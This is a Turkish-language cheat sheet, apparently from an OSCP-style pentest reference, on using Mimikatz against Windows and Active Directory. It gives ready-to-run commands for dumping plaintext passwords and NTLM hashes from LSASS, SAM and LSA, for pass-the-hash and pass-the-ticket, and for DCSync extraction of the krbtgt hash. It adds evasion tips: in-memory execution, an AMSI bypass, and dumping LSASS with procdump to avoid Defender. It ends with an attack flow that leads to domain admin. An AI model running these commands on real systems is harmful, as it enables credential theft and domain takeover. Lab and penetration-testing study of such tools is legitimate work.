Mimikatz: Credential Dumping, Pass-the-Hash ve DCSync Cekirdek Modulleri
Mimikatz ile LSASS bellekten plaintext parola/NTLM hash cekme (sekurlsa::logonpasswords), SAM/LSA dump, pass-the-hash, Kerberos ticket enjeksiyonu (ptt) ve domain admin ile DCSync uzerinden replikasyon yoluyla hash cikarma.
- Hedefte local admin / SYSTEM yetkisi (LSASS ve SAM erisimi icin)
- DCSync icin domain replikasyon hakki (Domain Admins veya DS-Replication-Get-Changes)
- Mimikatz.exe veya Invoke-Mimikatz hedefe tasinmis
Komutlar
privilege::debug sekurlsa::logonpasswords sekurlsa::pth /user:{{USER}} /domain:{{DOMAIN}} /ntlm:{{NTHASH}} /run:cmd.exe lsadump::sam lsadump::dcsync /domain:{{DOMAIN}} /user:{{DOMAIN}}\krbtgt kerberos::ptt ticket.kirbi lsadump::lsa /patch sekurlsa::tickets /export Genel Bakis
Mimikatz (gentilkiwi), Windows kimlik bilgisi materyalini bellekten ve veritabanlarindan cikarmaya yarayan standart araçtir. OSCP/AD ortamlarinda credential dumping, pass-the-hash, pass-the-ticket ve DCSync icin temel araçtir. Cogu modul local admin veya SYSTEM yetkisi gerektirir; DCSync ise domain replikasyon hakki ister.
On Hazirlik: privilege::debug
LSASS ile etkilesen tum sekurlsa::* modullerinden once privilege::debug calistirilir. Cikti Privilege '20' OK olmazsa muhtemelen yeterli yetki yok; token::elevate ile SYSTEM token’a yukseltmeyi deneyin.
sekurlsa — LSASS Bellek
sekurlsa::logonpasswords: Tum interaktif oturumlarin plaintext parolalarini (WDigest acik/eski sistemlerde), NTLM hashlerini ve Kerberos anahtarlarini listeler. En sik kullanilan moduldur.sekurlsa::pth: NTLM hash ile yeni bir process baslatarak hedef kullanicinin kimligini tasir — parola bilmeden lateral movement.sekurlsa::tickets /export: Bellekteki Kerberos ticketlerini disa aktarir (PtT icin).
lsadump — SAM / LSA / DCSync
lsadump::sam: Local SAM veritabanindan local hesap hashleri (SYSTEM gerekir).lsadump::lsa /patch: LSA secrets ve hesap hashleri.lsadump::dcsync: DC’yi taklit ederek Directory Replication Service (MS-DRSR) ile herhangi bir domain kullanicisinin (ozelliklekrbtgt) hashini ceker. Bu, Golden Ticket uretiminin on adimidir. Domain Admins veyaDS-Replication-Get-Changes+Get-Changes-Allhaklari gerekir.
kerberos — Ticket Manipulasyonu
kerberos::ptt <ticket.kirbi>: Ticket’i mevcut oturuma enjekte eder (Pass-the-Ticket).kerberos::golden: krbtgt hashi ile Golden Ticket forge eder (ayri detay konu).
OPSEC ve Tespit Notlari
- Mimikatz, Defender/AV tarafindan imza ile yakalanir; OSCP’de genelde Defender kapali laboratuvarlarda calisir. Diske dusurmeden
Invoke-Mimikatz(PowerSploit) veya Evil-WinRM-smenusu ile bellekten calistirma tercih edilir; AMSI bypass gerekebilir. - LSASS dump’i diskten yapmak icin alternatif:
procdump -ma lsass.exe lsass.dmpile dump alip Kali’depypykatz lsa minidump lsass.dmpcalistirmak — bu Defender’i daha az tetikler. - Modern Windows’ta WDigest varsayilan kapali oldugundan plaintext parola cikmayabilir; bu durumda NTLM hash ile yetinilir.
Tipik Akis
privilege::debug → sekurlsa::logonpasswords (hash topla) → ele gecen hash ile help-impacket secretsdump veya help-evilwinrm PtH → domain admin ele gecince lsadump::dcsync /user:krbtgt.